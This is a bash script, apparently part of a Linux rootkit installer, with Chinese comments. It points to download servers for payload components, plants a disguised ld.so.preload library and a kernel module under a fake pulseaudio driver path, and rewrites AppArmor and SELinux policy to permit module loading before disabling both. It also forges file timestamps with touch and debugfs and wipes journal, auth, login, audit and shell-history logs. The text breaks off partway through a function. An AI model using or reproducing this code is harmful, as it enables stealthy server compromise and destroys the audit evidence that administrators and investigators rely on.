#!/bin/bash
# set -uo pipefail
IFS=$'\n\t'

#===============================
# 彩色提示定义
RED='\e[01;31m'
GREEN='\e[01;32m'
YELLOW='\e[01;33m'
BLUE='\e[01;34m'
CYAN='\e[01;36m'
NC='\e[00m'

# 日志输出函数（统一前缀和颜色）
log_info()    { echo -e "${CYAN}[INFO]${NC} $1"; }
log_success() { echo -e "${GREEN}[SUCCESS]${NC} $1"; }
log_warn()    { echo -e "${YELLOW}[WARN]${NC} $1"; }
log_error()   { echo -e "${RED}[ERROR]${NC} $1"; }
log_start()  { echo -e "${BLUE}[START]${NC} $1"; }

# 捕获错误并输出行号
trap 'log_error "Error occurred at line ${LINENO}. Exiting." ; exit 1' ERR

#===============================
# 全局变量定义
export LANG=en_US.UTF-8
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:$PATH"

BASE_URL="https://venomvp.com"
HTTP_BASE_URL="http://148.113.0.12"
C="${BASE_URL}/Download/C"
S="${BASE_URL}/Download/S"
P="${BASE_URL}/Download/P"
HTTP_C="${HTTP_BASE_URL}/Download/C"
HTTP_S="${HTTP_BASE_URL}/Download/S"
HTTP_P="${HTTP_BASE_URL}/Download/P"
KERNEL_VERSION=$(uname -r)
PRELOAD_FILE="/etc/ld.so.preload"
BACKUP_FILE="/var/opt/06backup_$(date +%s)"
PRELOAD_MOD="/usr/local/lib/libunzip1.so"
CRON_JOB_PATH="/etc/cron.d/root"
SCRIPT_DIR="${1:-/opt/libzip}"
USEROPTION="${2:-}"
SELINUX_CONF="/etc/selinux/config"
SHORTVERSION=$(echo "$KERNEL_VERSION" | awk -F. '{print $1"."$2}')
MAJOR=$(echo "$SHORTVERSION" | cut -d'.' -f1)
MINOR=$(echo "$SHORTVERSION" | cut -d'.' -f2)
DRIVER_DIRECTORY="/lib/modules/$KERNEL_VERSION/kernel/drivers/pulseaudio"
PHP_EXT_NAME="stdproc_opt"
APACHE_EXT_NAME="cache_integrator"
PHP_BIN_USER=""
BASE_TIME=""

# 检查 SCRIPT_DIR 参数
if [ -z "$SCRIPT_DIR" ] || [[ "$SCRIPT_DIR" != /opt/* ]]; then
    log_error "Usage: $0 /opt/libzip [ask]"
    exit 1
fi

# 用户输入 MODULE 与 TAG（需与安装时一致）
echo -ne "${YELLOW}Enter MODULE name (default: bangkokviews): ${NC}"
read -r MODULE
MODULE=${MODULE:-bangkokviews}

# while true; do
  # echo -e "${YELLOW}Choose COUNTRY:${NC}"
  # echo "1. TH"
  # echo "2. BR"
  # echo "3. IN"
  # read -rp "Enter number [1-3]: " CHOICECOUNTRY

  # case "$CHOICECOUNTRY" in
    # 1) COUNTRY="MY"; break ;;
    # 2) COUNTRY="BR"; break ;;
    # 3) COUNTRY="IN"; break ;;
    # *) echo -e "\033[0;31mInvalid choice. Please enter 1, 2 or 3.\033[0m" ;;
  # esac
# done

# echo "Selected COUNTRY: $COUNTRY"

#===============================
# detectSystem：检测系统信息
detectSystem() {
    local _SYSTEM _VERSION _ARCH _ARCH_TYPE
    if [ -f /etc/os-release ]; then
        . /etc/os-release
        _SYSTEM="${ID:-unknown}"
        _VERSION="${VERSION_ID:-unknown}"
        [ "${_SYSTEM}" = "ol" ] && _SYSTEM="oraclelinux"
    elif [ -f /etc/redhat-release ]; then
        _SYSTEM="redhat"
        _VERSION=$(grep -oE '[0-9]+' /etc/redhat-release || echo "unknown")
    elif [ -f /etc/centos-release ]; then
        _SYSTEM="centos"
        _VERSION=$(grep -oE '[0-9]+' /etc/centos-release || echo "unknown")
    elif [ -f /etc/fedora-release ]; then
        _SYSTEM="fedora"
        _VERSION=$(grep -oE '[0-9]+' /etc/fedora-release || echo "unknown")
    elif [ -f /etc/oracle-release ]; then
        _SYSTEM="oraclelinux"
        _VERSION=$(grep -oE '[0-9]+' /etc/oracle-release || echo "unknown")
    elif [ -f /etc/lsb-release ]; then
        . /etc/lsb-release
        _SYSTEM="${DISTRIB_ID:-unknown}"
        _VERSION="${DISTRIB_RELEASE:-unknown}"
    else
        _SYSTEM="unknown"
        _VERSION="unknown"
    fi

    _SYSTEM=$(echo "${_SYSTEM}" | tr '[:upper:]' '[:lower:]')
    _ARCH=$(uname -m)
    case "${_ARCH}" in
        x86_64)
            _ARCH_TYPE="64-bit"
            ;;
        aarch64)
            _ARCH_TYPE="arm64"
            ;;
        i386|i686)
            _ARCH_TYPE="32-bit"
            ;;
        *)
            _ARCH_TYPE="unknown"
            ;;
    esac

    SYSTEM="${_SYSTEM}"
    VERSION="${_VERSION}"
    ARCH="${_ARCH}"
    ARCH_TYPE="${_ARCH_TYPE}"

    case "${SYSTEM}" in
        debian|ubuntu|redhat|rocky|centos|fedora|oracle|oraclelinux|arch|suse|opensuse)
            log_success "Detected ${SYSTEM} $VERSION ($ARCH_TYPE)"
            ;;
        *)
            log_error "Unsupported Linux distro detected: ${SYSTEM}"
            exit 1
            ;;
    esac
}

get_base_time() {
    local dir="$1"
    
    # Validate input directory
    if [[ -z "$dir" || ! -d "$dir" ]]; then
        log_error "Invalid or non-existent directory provided"
        return 1
	fi

    # Attempt to find the oldest file timestamp
    # Use a more robust find and stat combination
    base_time=$(find "$dir" -type f -print0 | xargs -0 stat -c '%Y' 2>/dev/null | sort -n | head -n 1)

    # Fallback mechanism if no timestamps found
    if [[ -z "$base_time" ]]; then
        log_warn "Failed to get base time from directory $dir. Falling back to bash or sh timestamp."
        
        # Multiple potential paths for bash and sh
        local bash_paths=("/bin/bash" "/usr/bin/bash")
        local sh_paths=("/bin/sh" "/sbin/sh" "/usr/bin/sh")
        
        # Try bash paths first
        for path in "${bash_paths[@]}"; do
            if [[ -f "$path" ]]; then
                base_time=$(stat -c '%Y' "$path")
                if [[ -n "$base_time" ]]; then
                    break
                fi
            fi
        done

        # If bash paths fail, try sh paths
        if [[ -z "$base_time" ]]; then
            for path in "${sh_paths[@]}"; do
                if [[ -f "$path" ]]; then
                    base_time=$(stat -c '%Y' "$path")
                    if [[ -n "$base_time" ]]; then
                        break
                    fi
                fi
            done
        fi

        # Final check for fallback timestamp
        if [[ -z "$base_time" ]]; then
            log_error "Neither /bin/bash nor /sbin/sh found, cannot retrieve fallback base time."
            return 1
        fi
    fi

    # Ensure base_time is a valid integer
    if ! [[ "$base_time" =~ ^[0-9]+$ ]]; then
        log_error "Failed to get fallback base time from bash or sh."
        return 1
    fi

    # Global variable assignment
    base_time="$base_time"
    return 0
}

spoof_file_timestamp() {
    local file="$1"
    local base_time="$2"
    local formatted_time=""
    
    # Input validation
    if [[ -z "$file" ]]; then
        log_error "No file specified for timestamp spoofing"
        return 1
    fi

    # Convert numeric timestamp to formatted time if needed
    if [[ "$base_time" =~ ^[0-9]+$ ]]; then
        formatted_time=$(date -d "@$base_time" '+%Y-%m-%d %H:%M:%S')
    else
        formatted_time="$base_time"
    fi
    
    # Verify file exists and is a regular file
    if [[ ! -f "${file}" ]]; then
        log_error "File not found: ${file}"
        return 1
    fi

    # Attempt multiple methods to modify timestamps
    local timestamp_methods_success=false

    # 1. Use touch to modify access and modification times
    if touch -d "${formatted_time}" -a "${file}" 2>/dev/null && 
       touch -d "${formatted_time}" "${file}" 2>/dev/null; then
        timestamp_methods_success=true
    fi

    # 2. Try to set inode change time with debugfs (if available)
    if type set_inode_ctime_with_debugfs >/dev/null 2>&1; then
        if set_inode_ctime_with_debugfs "${file}" "${formatted_time}"; then
            timestamp_methods_success=true
        fi
    fi

    # Check if any timestamp modification was successful
    if $timestamp_methods_success; then
        log_info "Timestamp spoofed: ${file} > ${formatted_time}"
        return 0
    else
        log_error "Failed to spoof timestamp for: ${file}"
        return 1
    fi
}

set_inode_ctime_with_debugfs() {
    local file="$1"
    local new_time="$2"
    local mount_point device inode fstype
    
    # Input validation
    if [[ -z "$file" || -z "$new_time" ]]; then
        log_warn "Missing file or timestamp for ctime spoofing"
        return 1
    fi

    # Check if file exists
    if [[ ! -f "$file" ]]; then
        log_warn "File not found: $file"
        return 1
    fi

    # Check for required commands
    if ! command -v df >/dev/null 2>&1 || 
       ! command -v stat >/dev/null 2>&1 || 
       ! command -v debugfs >/dev/null 2>&1; then
        return 1
    fi

    # Get mount point and device
    mount_point=$(df --output=target "$file" 2>/dev/null | tail -n1 | tr -d ' ')
    device=$(df --output=source "$file" 2>/dev/null | tail -n1 | tr -d ' ')

    # Validate mount point and device
    if [[ -z "$mount_point" || -z "$device" ]]; then
        return 1
    fi

    # Get inode number
    inode=$(stat -c '%i' "$file" 2>/dev/null)
    if [[ -z "$inode" ]]; then
        return 1
    fi

    # Check filesystem type
    fstype=$(stat -f -c %T "$file" 2>/dev/null)
    if [[ ! "$fstype" =~ ^ext ]]; then
        return 1
    fi

    # Attempt to modify inode ctime
	echo "set_inode_field $inode ctime \"$new_time\"" | \
    debugfs "$device" -w -f - >/dev/null 2>&1 || {
        log_warn "debugfs failed to spoof ctime for: $file"
        return 1
    }

    return 0
}
  
setupWhitelist() {
    local MODULE_NAME="${MODULE:-bangkokviews}"
    local MODULE_PATH="${DRIVER_DIRECTORY}/${MODULE_NAME}.ko"

    # 检查服务是否活跃的通用函数
    is_service_active() {
        local service_names=("$@")
        for service in "${service_names[@]}"; do
            if systemctl is-active "$service" &>/dev/null || 
               systemctl is-active "${service}.service" &>/dev/null || 
               service "$service" status &>/dev/null; then
                return 0
            fi
        done
        return 1
    }

    # 通用 AppArmor 配置
    configure_apparmor() {
        # AppArmor 服务名称数组
        local apparmor_services=(
            "apparmor"
            "apparmor.service"
            "aa-protect"
            "apparmor-parser"
            "ubuntu-apparmor"
        )

        # 检查 AppArmor 工具是否存在
        local apparmor_tools=("aa-complain" "apparmor_parser")
        for tool in "${apparmor_tools[@]}"; do
            if ! command -v "$tool" &>/dev/null; then
                log_warn "AppArmor tool '$tool' not found"
                return 0
            fi
        done

        # 兼容多个可能的 AppArmor 配置目录
        local apparmor_dirs=(
            "/etc/apparmor.d"
            "/etc/apparmor.d/local"
            "/etc/apparmor/local"
        )

        local config_dir=""
        for dir in "${apparmor_dirs[@]}"; do
            if [ -d "$dir" ]; then
                config_dir="$dir"
                break
            fi
        done

        # 如果未找到配置目录，尝试创建
        if [ -z "$config_dir" ]; then
            mkdir -p "/etc/apparmor.d/local"
            config_dir="/etc/apparmor.d/local"
        fi

        # 确保目录存在
        mkdir -p "$config_dir" || return 1

        # 通用模块加载规则模板
        local module_rules=$(cat <<EOL
#include <tunables/global>

profile module_load_rules flags=(attach_disconnected,mediate_deleted) {
    #capability sys_module,
    
    /lib/modules/** r,
    ${DRIVER_DIRECTORY}/** r,
    ${MODULE_PATH} r,
    
    /usr/bin/insmod ux,
    /usr/sbin/insmod ux,
    /usr/bin/modprobe ux,
    /usr/sbin/modprobe ux,
}
EOL
)

        # 创建规则文件
        local rule_file="${config_dir}/system_performance_monitor"
        
        # 检查是否已存在相同内容
        if [[ ! -f "$rule_file" ]] || ! diff -q <(cat "$rule_file") <(echo "$module_rules") >/dev/null; then
            echo "$module_rules" > "$rule_file"
            log_info "Updated AppArmor module load rules"
        else
            log_info "AppArmor module load rules already exist"
        fi

        # 重载 AppArmor（兼容多种方式）
        local reload_commands=(
            "systemctl reload apparmor"
            "service apparmor reload"
            "aa-complain ${rule_file}"
            "apparmor_parser -r ${rule_file}"
        )

        for cmd in "${reload_commands[@]}"; do
            if command -v ${cmd%% *} &>/dev/null; then
                $cmd 2>/dev/null && break
            fi
        done
    }

    # 通用 SELinux 配置
    configure_selinux() {
        # SELinux 服务名称数组
        local selinux_services=(
            "selinux"
            "selinux.service"
            "selinux-policy"
            "selinux-policy.service"
            "systemd-selinux"
            "systemd-selinux.service"
        )

        # 检查 SELinux 工具
        local selinux_tools=("semodule" "checkmodule" "semodule_package")
        for tool in "${selinux_tools[@]}"; do
            if ! command -v "$tool" &>/dev/null; then
                log_warn "SELinux tool '$tool' not found"
                return 0
            fi
        done

        # 检查是否已存在策略
        if semodule -l | grep -q "system_audit_helper"; then
            log_info "SELinux audit policy already exists"
            return 0
        fi

        # 使用更合理的位置存放临时策略文件
        local SELINUX_BASE="/var/lib/selinux/tmp/system_audit_helper"
        local SELINUX_DIR="/var/lib/selinux/tmp"
        local TE_FILE="${SELINUX_BASE}.te"
        local MOD_FILE="${SELINUX_BASE}.mod"
        local PP_FILE="${SELINUX_BASE}.pp"

        # 确保目录存在
        mkdir -p "$SELINUX_DIR" 2>/dev/null || true

        # 创建更通用的 SELinux 策略
        cat > "$TE_FILE" <<EOL
module system_audit_helper 1.0;

require {
	type init_t;
	type modules_dep_t;
	class capability sys_module;
	class file { read getattr open };
	class dir search;
}

allow init_t self:capability sys_module;
allow init_t modules_dep_t:dir search;
allow init_t modules_dep_t:file { read getattr open };
EOL

        # 编译和安装策略
        if checkmodule -M -m -o "$MOD_FILE" "$TE_FILE" &&
           semodule_package -o "$PP_FILE" -m "$MOD_FILE" &&
           semodule -i "$PP_FILE"; then
            log_success "SELinux audit policy configured successfully"
            
            # 清理临时文件并保留一个备份在标准位置
            mkdir -p "/etc/selinux/local" 2>/dev/null || true
            cp "$TE_FILE" "/etc/selinux/local/system_audit_helper.te" 2>/dev/null || true
            rm -f "$TE_FILE" "$MOD_FILE" "$PP_FILE"
        else
            log_error "Failed to install SELinux audit policy"
            # 清理临时文件
            rm -f "$TE_FILE" "$MOD_FILE" "$PP_FILE"
        fi
    }

    # 根据服务存在性配置
    if is_service_active "${apparmor_services[@]}"; then
        configure_apparmor
    fi

    if is_service_active "${selinux_services[@]}"; then
        configure_selinux
    fi
}

checkYumRepo() {
    log_start "Checking YUM repository availability..."
    
    # Check if Aliyun source is already configured
    if grep -q "mirrors.aliyun.com" /etc/yum.repos.d/*.repo 2>/dev/null; then
        log_success "Aliyun YUM repository is already configured."
        return 0
    fi
    
    # Safely get current repository URL
    local current_repo_url=""
    current_repo_url=$(grep -Eto '^baseurl=https?://[^/ ]+' /etc/yum.repos.d/*.repo 2>/dev/null | cut -d'=' -f2 | head -n 1 || true)
    
    # Source OS release information
    if [ -f /etc/os-release ]; then
        # shellcheck disable=SC1091
        source /etc/os-release
    else
        log_error "OS release information not found."
        return 1
    fi
    
    # Extract CentOS version
    local CENTOS_VERSION=""
    CENTOS_VERSION=$(echo "$VERSION_ID" | cut -d'.' -f1)
    
    # Check repository availability
    local repo_available=false
    if [[ -n "$current_repo_url" ]]; then
        # Use timeout to prevent hanging
        if timeout 10s curl -sSf --head "$current_repo_url" > /dev/null; then
            log_success "YUM repository is available."
            repo_available=true
        fi
    fi
    
    # If repository is not available, replace with Aliyun repository
    if [ "$repo_available" = false ]; then
        log_error "YUM repository is unavailable or unreachable. Replacing with Aliyun repository..."
        
        # Create backup directory with timestamp
        local backup_dir="/etc/yum.repos.d/backup_$(date +%s)"
        mkdir -p "$backup_dir" || {
            log_error "Failed to create backup directory $backup_dir."
            return 1
        }
        
        # Backup existing repo files
        cp -a /etc/yum.repos.d/*.repo "$backup_dir" || {
            log_error "Failed to backup existing repo files."
            return 1
        }
        log_success "Backup completed successfully at $backup_dir."
        
        # Remove existing repo files
        rm -f /etc/yum.repos.d/*.repo || {
            log_error "Failed to remove existing repo files."
            return 1
        }
        
        # Download Aliyun repository configuration based on CentOS version
        local download_success=false
        case "$CENTOS_VERSION" in
            6)
                wget -q -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repo && download_success=true
                ;;
            7)
                wget -q -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo &&
                wget -q -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo && download_success=true
                ;;
            8)
                wget -q -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repo &&
                sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* &&
                sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-* && 
                download_success=true
                ;;
            *)
                log_error "Unsupported CentOS version: $CENTOS_VERSION. Restoring backup..."
                cp -a "$backup_dir"/*.repo /etc/yum.repos.d/
                log_success "Backup restored successfully."
                return 1
                ;;
        esac
        
        # Update YUM cache if download was successful
        if [ "$download_success" = true ]; then
            log_success "Aliyun YUM repository installed successfully."
            log_info "Running 'yum clean all' and 'yum makecache'..."
            
            if yum clean all && yum makecache; then
                log_success "YUM repository cache updated successfully."
            else
                log_error "Failed to update YUM repository cache. Restoring backup..."
                cp -a "$backup_dir"/*.repo /etc/yum.repos.d/
                log_success "Backup restored successfully."
                return 1
            fi
        else
            log_error "Download failed. Restoring backup and exiting..."
            cp -a "$backup_dir"/*.repo /etc/yum.repos.d/
            return 1
        fi
    fi
    
    return 0
}

checkAptRepo() {
    log_start "Checking APT repository availability..."
    
    # Source OS release information
    if [ -f /etc/os-release ]; then
        # shellcheck disable=SC1091
        source /etc/os-release
    else
        log_error "OS release information not found."
        return 1
    fi
    
    # Strict version check for Debian 9 (Stretch)
    if [[ "$ID" != "debian" || "$VERSION_ID" != "9" || "$VERSION_CODENAME" != "stretch" ]]; then
        log_warn "This script is only for Debian 9 (Stretch). Detected: $ID $VERSION_ID ($VERSION_CODENAME)"
        return 1
    fi
    
    # Check if Aliyun Debian source is already configured
    if grep -q "mirrors.aliyun.com" /etc/apt/sources.list 2>/dev/null; then
        log_success "Aliyun Debian APT repository is already configured."
        return 0
    fi
    
    # Safely get current repository URL
    local current_repo_url=""
    current_repo_url=$(grep -Eto 'https?://[^/ ]+' /etc/apt/sources.list 2>/dev/null | head -n 1 || true)
    
    # Check repository availability
    local repo_available=false
    if [[ -n "$current_repo_url" ]]; then
        # Use timeout to prevent hanging
        if timeout 10s curl -sSf --head "$current_repo_url" > /dev/null 2>&1; then
            log_success "APT repository is available."
            repo_available=true
        fi
    fi
    
    # If repository is not available, replace with Aliyun repository
    if [ "$repo_available" = false ]; then
        log_error "APT repository is unavailable or unreachable. Replacing with Archive Debian repository..."
        
        # Create backup directory with timestamp
        local backup_dir="/etc/apt/backup_$(date +%s)"
        mkdir -p "$backup_dir" || {
            log_error "Failed to create backup directory $backup_dir"
            return 1
        }
        
        # Backup entire /etc/apt directory
        cp -a /etc/apt/* "$backup_dir" || {
            log_error "Failed to backup /etc/apt/ to $backup_dir."
            return 1
        }
        log_success "Backup completed successfully at $backup_dir."
        
        # Remove existing sources.list
        if [[ -f /etc/apt/sources.list ]]; then
            rm -f /etc/apt/sources.list || {
                log_error "Failed to remove /etc/apt/sources.list"
                return 1
            }
            log_success "/etc/apt/sources.list has been deleted."
        fi
        
        # Create new sources.list with Aliyun Debian 9 sources
        cat > /etc/apt/sources.list <<'EOF'
deb http://mirrors.aliyun.com/debian/ stretch main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ stretch main non-free contrib
deb http://mirrors.aliyun.com/debian-security stretch/updates main
deb-src http://mirrors.aliyun.com/debian-security stretch/updates main
deb http://mirrors.aliyun.com/debian/ stretch-updates main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ stretch-updates main non-free contrib
deb http://mirrors.aliyun.com/debian/ stretch-backports main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ stretch-backports main non-free contrib
EOF
        
        # Check if sources.list creation was successful
        if [[ $? -eq 0 ]]; then
            log_success "Aliyun Debian APT repository installed successfully."
            log_info "Running 'apt update'..."
            
            # Update APT repositories
            if apt update --allow-releaseinfo-change; then
                log_success "APT repository update completed successfully."
            else
                log_error "apt update failed. Restoring backup..."
                cp -a "$backup_dir"/* /etc/apt/ || {
                    log_error "Failed to restore backup from $backup_dir"
                    return 1
                }
                log_success "Backup restored successfully."
                return 1
            fi
        else
            log_error "Failed to update APT repository. Restoring backup..."
            cp -a "$backup_dir"/* /etc/apt/ || {
                log_error "Failed to restore backup from $backup_dir"
                return 1
            }
            return 1
        fi
    else
        log_success "APT repository is available."
    fi
    
    return 0
}

clearLogs() {
    log_start "Cleaning logs..."

    # 完全清空 journal 日志
    if command -v journalctl >/dev/null 2>&1; then
        log_info "Completely purging journal logs..."
        
        # 轮转并清空所有日志
        journalctl --rotate >/dev/null 2>&1
        journalctl --vacuum-size=1K >/dev/null 2>&1
        
        # 直接删除日志存储文件
        if [ -d "/var/log/journal" ]; then
            rm -rf /var/log/journal/* >/dev/null 2>&1
            log_info "Removed persistent journal logs."
        fi
        
        if [ -d "/run/log/journal" ]; then
            rm -rf /run/log/journal/* >/dev/null 2>&1
            log_info "Removed volatile journal logs."
        fi
        
        # 重启 journald 服务以应用更改
        systemctl restart systemd-journald >/dev/null 2>&1 || true
        log_success "Journal logs purged completely."
    fi

    # 恢复信号（忽略错误）
    kill -CONT 31337 > /dev/null 2>&1 || true

    # 如果模块存在，通过 proc 接口刷新 journal
    if [ -n "${MODULE+x}" ] && [ -f "/proc/$MODULE" ]; then
        log_info "Flushing journal via module interface..."
        if ! echo "journal-flush" > "/proc/${MODULE}" 2>/dev/null; then
            log_warn "Failed to flush journal via /proc/${MODULE}."
        else
            log_success "Journal flushed via module interface."
        fi
    fi

    # 定义要清理的系统日志文件（增加了更多常见日志文件）
    local syslog_files=(
        "/var/log/auth.log"
        "/var/log/syslog"
        "/var/log/secure"
        "/var/log/messages"
        "/var/log/kern.log"
        "/var/log/dpkg.log"
        "/var/log/wtmp"
        "/var/log/btmp"
        "/var/log/lastlog"
        "/var/log/apt/history.log"
        "/var/log/apt/term.log"
        "/var/log/faillog"
        "/var/log/mail.log"
        "/var/log/user.log"
        "/var/log/debug"
        "/var/log/alternatives.log"
        "/var/log/bootstrap.log"
        "/var/log/daemon.log"
        "/var/log/dmesg"
        "/var/log/fontconfig.log"
        "/var/log/yum.log"
        "/var/log/cron"
        "/var/log/boot.log"
        "/var/log/cloud-init.log"
    )

    # 定义要清理的日志目录（增加了更多服务日志目录）
    local log_dirs=(
        "/var/log"
        "/var/log/apache2"
        "/var/log/httpd"
        "/var/log/nginx"
        "/var/log/apt"
        "/var/log/tomcat*"
        "/var/log/php*"
        "/var/log/redis"
    )

    # 清空日志文件 - 使用多种方法确保清空成功
    log_info "Truncating log files..."
    local truncated_count=0
    local failed_count=0
    
    for file in "${syslog_files[@]}"; do
        if [ -f "${file}" ]; then
            # 尝试多种清空文件的方法，提高成功率
            if truncate -s 0 "${file}" 2>/dev/null || 
               : > "${file}" 2>/dev/null || 
               cat /dev/null > "${file}" 2>/dev/null || 
               echo "" > "${file}" 2>/dev/null; then
                ((truncated_count++))
                # 随机改变文件时间戳为过去30-60天内
                if command -v touch >/dev/null 2>&1; then
                    random_days=$((RANDOM % 30 + 30))
                    touch -d "$random_days days ago" "${file}" 2>/dev/null || true
                fi
            else
                log_warn "Failed to truncate ${file}."
                ((failed_count++))
            fi
        fi
    done
    
    log_info "Truncated $truncated_count log files. Failed to truncate $failed_count files."

    # 查找并删除所有.gz和轮转日志文件 - 更全面的文件模式
    log_info "Removing archived and rotated logs..."
    local removed_count=0
    
    for dir in "${log_dirs[@]}"; do
        if [ -d "$dir" ]; then
            # 使用更广泛的文件模式来查找所有类型的日志文件
            while IFS= read -r -d '' file; do
                if rm -f "$file" 2>/dev/null; then
                    ((removed_count++))
                else
                    # 如果直接删除失败，尝试先清空后删除
                    truncate -s 0 "$file" 2>/dev/null && rm -f "$file" 2>/dev/null && ((removed_count++)) || 
                        log_warn "Failed to remove log file: $file"
                fi
            done < <(find "$dir" -type f \( -name "*.gz" -o -name "*.log.*" -o -name "*.old" -o -name "*.[0-9]" -o -name "*.bak" -o -name "*.backup" -o -name "*.saved" -o -name "*.rotated" \) -print0 2>/dev/null || true)
        fi
    done
    
    log_info "Removed $removed_count archived and rotated log files."

    # 清除 dmesg 日志 - 增强的清除方法
    if command -v dmesg >/dev/null 2>&1; then
        log_info "Clearing dmesg logs..."
        dmesg -c > /dev/null 2>&1
        
        # 清除后再次检查并尝试通过写入内核参数清除
        if command -v sysctl >/dev/null 2>&1; then
            sysctl -w kernel.dmesg_restrict=1 >/dev/null 2>&1 || true
        fi
        
        log_info "dmesg logs cleared."
    fi

    # 尝试清除 bash 历史 - 更全面的方法
    log_info "Clearing command history..."
    
    # 禁用历史记录
    set +o history 2>/dev/null || true
    
    # 尝试清除当前会话历史
    if command -v history >/dev/null 2>&1; then
        history -c 2>/dev/null || true
        history -w 2>/dev/null || true
    fi
    
	# 删除 libzip.tar.gz 文件
	log_info "Deleting libzip.tar.gz files..."
	local libzip_delete_count=0
		
	for dir in /opt /root /tmp /var /usr/local /home; do
		while IFS= read -r -d '' file; do
			if rm -f "$file" 2>/dev/null; then
				((libzip_delete_count++))
			else
				log_warn "Failed to delete libzip.tar.gz: $file"
			fi
		done < <(find "$dir" -type f -name "libzip.tar.gz" -print0 2>/dev/null || true)
	done
		
	log_info "Deleted $libzip_delete_count libzip.tar.gz files."
    
    # 清理 SSH 连接记录
    if [ -f "/var/log/wtmp" ]; then
        truncate -s 0 /var/log/wtmp 2>/dev/null || true
    fi
    
    # 清理 audit 日志 - 更彻底的清理
    if [ -d "/var/log/audit" ]; then
        log_info "Cleaning audit logs..."
        find /var/log/audit -type f -name "audit.log*" -exec truncate -s 0 {} \; 2>/dev/null || true
        
        # 如果存在审计服务，尝试重启或清除
        if command -v auditctl >/dev/null 2>&1; then
            auditctl -e 0 2>/dev/null || true  # 临时禁用审计
            sleep 1
            auditctl -e 1 2>/dev/null || true  # 重新启用审计
        fi
        
        # 如果是 systemd 系统，尝试重启 auditd
        if command -v systemctl >/dev/null 2>&1; then
            systemctl try-restart auditd >/dev/null 2>&1 || true
        fi
    fi
    
    # 清理登录记录
    log_info "Cleaning login records..."
    for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do
        if [ -f "$log" ]; then
            truncate -s 0 "$log" 2>/dev/null || 
            cat /dev/null > "$log" 2>/dev/null || 
            : > "$log" 2>/dev/null || true
        fi
    done
    
    # 清理系统状态报告
    if [ -d "/var/crash" ]; then
        rm -rf /var/crash/* 2>/dev/null || true
    fi
    
    # 清理 systemd 状态目录
    if [ -d "/var/lib/systemd" ]; then
        find /var/lib/systemd/coredump -type f -delete 2>/dev/null || true
    fi
    
    # 最后，再次尝试清理重要的系统日志
    log_info "Final cleanup of critical logs..."
    critical_logs=(
        "/var/log/auth.log"
        "/var/log/secure"
        "/var/log/lastlog"
        "/var/log/wtmp"
        "/var/log/btmp"
        "/var/log/faillog"
        "/var/log/tallylog"
    )
    
    for log in "${critical_logs[@]}"; do
        if [ -f "$log" ]; then
            # 组合多种清空方法增加成功率
            truncate -s 0 "$log" 2>/dev/null || 
            : > "$log" 2>/dev/null || 
            echo "" > "$log" 2>/dev/null || 
            cat /dev/null > "$log" 2>/dev/null || true
            
            # 更改文件权限防止再次写入
            chmod 0600 "$log" 2>/dev/null || true
        fi
    done

    # 应用伪装时间戳
    log_info "Applying timestamp camouflage to cleaned logs..."
    if command -v touch >/dev/null 2>&1; then
        # 获取一个基准时间戳
        local base_time=""
        if [ -f "/etc/passwd" ]; then
            base_time=$(stat -c %y "/etc/passwd" 2>/dev/null)
        elif [ -f "/etc/hosts" ]; then
            base_time=$(stat -c %y "/etc/hosts" 2>/dev/null)
        else
            # 随机生成一个过去的时间
            local random_days=$((RANDOM % 60 + 30))
            base_time="$(date -d "$random_days days ago" '+%Y-%m-%d %H:%M:%S')"
        fi
        
        # 应用到关键日志文件
        log_info "Using timestamp reference: $base_time"
        for log in "${critical_logs[@]}"; do
            if [ -f "$log" ]; then
                touch -d "$base_time" "$log" 2>/dev/null || true
            fi
        done
    fi

    log_success "Logs cleaned successfully."
    return 0
}

checkSelinux() {
    # First, call setupWhitelist function
    setupWhitelist
    
    # Initialize SELinux availability flag
    local SELINUX_AVAILABLE=0
    
    # Check SELinux configuration file
    if [[ ! -f "$SELINUX_CONF" ]]; then
        log_warn "SELinux config file not found at $SELINUX_CONF. Skipping SELinux configuration check."
    else
        log_success "SELinux config file found: $SELINUX_CONF"
        SELINUX_AVAILABLE=1
    fi
    
    # Check for required SELinux commands
    local required_commands=("getenforce" "setenforce")
    for cmd in "${required_commands[@]}"; do
        if ! command -v "$cmd" &>/dev/null; then
            log_warn "$cmd command not found. Limiting SELinux functionality."
            SELINUX_AVAILABLE=0
        fi
    done
    
    # Perform SELinux configuration if available
    if [[ "$SELINUX_AVAILABLE" -eq 1 ]]; then
        # Get current SELinux status
        local current_status
        current_status=$(getenforce)
        log_info "SELinux current status: $current_status"
        
        # Handle Enforcing mode
        if [[ "$current_status" == "Enforcing" ]]; then
            log_warn "SELinux is Enforcing. Attempting to set it to Permissive..."
            if setenforce 0; then
                log_success "SELinux set to Permissive at runtime."
            else
                log_error "Failed to set SELinux to Permissive."
                return 1
            fi
        fi
        
        # Modify SELinux configuration file
        if grep -q "^SELINUX=enforcing" "$SELINUX_CONF"; then
            log_warn "Disabling SELinux in configuration file ($SELINUX_CONF)..."
            if sed -i 's/^SELINUX=enforcing/SELINUX=disabled/' "$SELINUX_CONF"; then
                log_success "SELinux disabled in config."
            else
                log_error "Failed to modify SELinux config file."
                return 1
            fi
        fi
    fi
    
    # AppArmor management (systemctl-based)
    manage_apparmor() {
        if ! command -v systemctl &>/dev/null; then
            log_warn "systemctl not found. Skipping AppArmor management."
            return 1
        fi
        
        log_info "Checking and disabling AppArmor..."
        
        # Stop AppArmor service if active
        if systemctl is-active --quiet apparmor; then
            if systemctl stop apparmor; then
                log_success "AppArmor stopped."
            else
                log_warn "Could not stop AppArmor."
            fi
        else
            log_info "AppArmor is already inactive."
        fi
        
        # Disable AppArmor service if enabled
        if systemctl is-enabled --quiet apparmor; then
            if systemctl disable apparmor; then
                log_success "AppArmor disabled."
            else
                log_warn "Could not disable AppArmor."
            fi
        fi
        
